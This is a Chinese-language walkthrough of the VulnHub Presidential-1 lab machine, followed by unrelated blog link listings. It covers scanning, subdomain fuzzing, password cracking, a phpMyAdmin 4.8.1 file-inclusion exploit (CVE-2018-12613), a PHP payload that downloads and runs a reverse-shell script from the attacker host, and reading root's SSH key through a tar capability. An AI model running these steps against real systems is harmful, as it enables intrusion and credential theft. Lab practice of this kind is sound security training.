Presidential-01
环境搭建
官网地址:https://www.vulnhub.com/entry/presidential-1,500/
靶机下载地址: https://download.vulnhub.com/presidential/Presidential.ova.torrent
靶机下载完成后将.ova文件导入VMWare

网卡设置为NET模式

环境:
kali:192.168.164.137
Presidential:192.168.164.178
信息收集
扫描主机
nmap -sP 192.168.164.0/24

得到目标靶机的ip地址为192.168.102.134
接着进行端口扫描
nmap -A 192.168.164.178 -p 1-65535

扫描得到目标靶机开放了80端口和2082端口,分别为http和ssh端口
访问80端口:

进行指纹识别:
whatweb http://192.168.164.178

可获得一些信息,php版本,Apache版本等。
使用dirsearch扫描该网站
./dirsearch.py -u http://192.168.164.178 -e*

扫到了一个config.php但是里面什么也没有,还有一个.bak备份文件,访问为空白,习惯性ctrl+u查看源码:

获得了数据库的配置信息,包括数据库用户名,用户密码等信息。但是服务器没有开启数据库端口,扫描目录也未发现登陆数据库的地方。这时候不难想到一个ip可能绑定多个域名,或许可以通过查找其子域名来发现突破点。
首页发现邮件信息:

votenow.local
将其添加到/etc/hosts中

可以正常访问:

接下来爆破子域名,使用subrake或wfuzz工具进行爆破。
wfuzz -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -H "Host: FUZZ.votenow.local" --hw 854 --hc 400 votenow.local

找到一个datasafe的子域名
添加到host进行访问

输入获得的账户名及密码即可登录。
getshell
在users表中找到admin及加密了的一串密码

使用john进行解密
john --wordlist=/usr/share/wordlists/rockyou.txt --format=md5crypt 1.txt
破解出来的密码为Stella尝试ssh登录一下

显示连接被拒绝。
可以通过phpmyadmin查看其版本为4.8.1

通过网络上搜索,发现存在本地文件包含漏洞(CVE-2018-12613)
首先执行
select '<?php phpinfo();exit;?>'

之后再包含session文件
http://datasafe.votenow.local/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/session/sess_3fel8hnjgqlpplu32s836aqgbhg990ib

可以看到成功执行了php代码,使用同样的方法进行反弹shell
先在kali的网站根目录创建一个shell.sh来供靶机下载

之后执行sql语句
select '<?php system("wget 192.168.164.137/shell.sh; chmod +x shell.sh; bash shell.sh");exit;?>'

执行完后在kali中监听1100端口

提权
直接su提权试一下

根目录的notes.txt文件提示的大概意思就是让我们使用压缩的命令

使用tars
查看tar的位置
whereis tar


在浏览过程中发现了tarS命令,该命令应该就是提示中所指的新的压缩备份命令了
在linux中引入了capabilities 机制对 root 权限进行细粒度的控制,实现按需授权,从而减小系统的安全攻击面。与SUID相似,可以限制用户的权限。 查看文件系统中具有capabilities的文件进入文件位置

可以看到tarS命令具有 cap_dac_read_search功能。它可以绕过文件读权限检查,这样我们就可以读取任何我们想要读取的文件
我们可以通过读取root用户的SSH私钥来进行免密登陆
cd /tmp
tarS -cvf key.tar /root/.ssh/id_rsa
tar -xvf key.tar
cd root/.ssh
ssh -i id_rsa root@localhost -p 2082
Presidential-01的更多相关文章
- 01.SQLServer性能优化之----强大的文件组----分盘存储
汇总篇:http://www.cnblogs.com/dunitian/p/4822808.html#tsql 文章内容皆自己的理解,如有不足之处欢迎指正~谢谢 前天有学弟问逆天:“逆天,有没有一种方 ...
- 用Kotlin创建第一个Android项目(KAD 01)
原文标题:Create your first Android project using Kotlin (KAD 01) 作者:Antonio Leiva 时间:Nov 21, 2016 原文链接:h ...
- Java企业实训 - 01 - Java前奏
前言: 虽然个人专攻.NET方向,不过由于个人是干教育行业的,方方面面的东西,不能说都必须精通,但肯定多少都会涉及到. 一个菜鸟学员,从啥都不会,经过一步步学习,最后到企业上手掌管一个模块甚至一个项目 ...
- Node.js 教程 01 - 简介、安装及配置
系列目录: Node.js 教程 01 - 简介.安装及配置 Node.js 教程 02 - 经典的Hello World Node.js 教程 03 - 创建HTTP服务器 Node.js 教程 0 ...
- 0042 MySQL学习笔记-入门--01
基本概念: 数据库DB(database): 数据的仓库,数据的集合,是数据的一种结构化的存储 数据库管理系统DBMS(database management system): 管理数据库的一套软件 ...
- Android快乐贪吃蛇游戏实战项目开发教程-01项目概述与目录
一.项目简介 贪吃蛇是一个很经典的游戏,也很适合用来学习.本教程将和大家一起做一个Android版的贪吃蛇游戏. 我已经将做好的案例上传到了应用宝,无病毒.无广告,大家可以放心下载下来把玩一下.应用宝 ...
- ArtifactTransferException: Failure to transfer org.apache.openejb:javaee-api:jar:5.0-1
最近在myeclipse上创建maven类型的web项目的时候,出现了一个错误. ArtifactTransferException: Failure to transfer org.apache.o ...
- Python学习--01入门
Python学习--01入门 Python是一种解释型.面向对象.动态数据类型的高级程序设计语言.和PHP一样,它是后端开发语言. 如果有C语言.PHP语言.JAVA语言等其中一种语言的基础,学习Py ...
- 异步编程系列第01章 Async异步编程简介
p { display: block; margin: 3px 0 0 0; } --> 2016.10.11补充 三个月过去了,回头来看,我不得不承认这是一系列失败的翻译.过段时间,我将重新翻 ...
- 【干货分享】前端面试知识点锦集01(HTML篇)——附答案
一.HTML部分 1.浏览器页面有哪三层构成,分别是什么,作用是什么? 构成:结构层.表示层.行为层分别是:HTML.CSS.JavaScript作用:HTML实现页面结构,CSS完成页面的表现与风格 ...
随机推荐
- spring mvc通过客户端传值,controller获取Sort对象
之前客户端需要根据需求按不同的排序方式查看数据,按照一种约定排序,比如1代表时间升序,2代表时间降序,3,4这种形式,然后后台根据这些值创建Sort对象. 后来发现完全多此一举,可以根据特定的方式,直 ...
- 在Linux中设置php变量的方法
默认情况下已经安装好了PHP环境,并且知道安装好后的PHP文件路径,然后可以通过以下的方式设置PHP变量,快速执行PHP命令运行PHP文件. 环境:centos 第一步:vi ~/.bash_prof ...
- Solution -「CF 232E」Quick Tortoise
\(\mathcal{Description}\) Link. 在一张 \(n\times m\) 的网格图中有空格 . 和障碍格 #,\(q\) 次询问,每次查询从 \((x_1,y_1)\ ...
- 对象到底是怎么new出来的
前言:要想理解本文,必须先了解JVM的内存结构 一.创建对象的方式 new:最常见 反射:Class.newInstance() 使用clone() 反序列化 二.创建对象的步骤(对象在JVM中怎么存 ...
- 我来教你如何将cpu使用率up起来(shell脚本[含注释])
这个脚本是为了逃过一些资源检测的,当一些机器当前使用率偏低,会被客户要求收回,那咋办呢?使用下面的脚本,就可以留住你的机器了 假设要求cpu使用率不能低于35% 使用方法:bash up_up_up. ...
- vue从后台拿数据渲染页面图片
<div class="list-content"> <div v-for="goods in goodsList" class=" ...
- Solving Large-Scale Granular Resource Allocation Problems Efficiently with POP(2021-POP-SOSP-文献阅读笔记)
读者 这篇文章来自2021的SOSP,单位是斯坦福大学和微软.选该文章的理由有二,一是资源分配的主题较为相关:二是文章结构.语言很清晰,读起来很舒服. 本文的中心思想可以概括为:分化瓦解,各个击破.即 ...
- Weblogic补丁升级问题
转至:https://blog.csdn.net/weixin_44659716/article/details/105132466 一.版本信息1)中间件版本 Weblogic10.3.6.02) ...
- spring 使用depends-on, lazy-init, defalut-lazy-init
depends-on 如果一个bean是另一个bean的依赖, 可以使用ref属性或者<ref/>标签来实现依赖 那么被依赖bean一定是要比依赖bean率先实例化, 而depends-o ...
- Java课程设计---Eclipse基本环境配置
1.设置eclipse编码 2.设置提示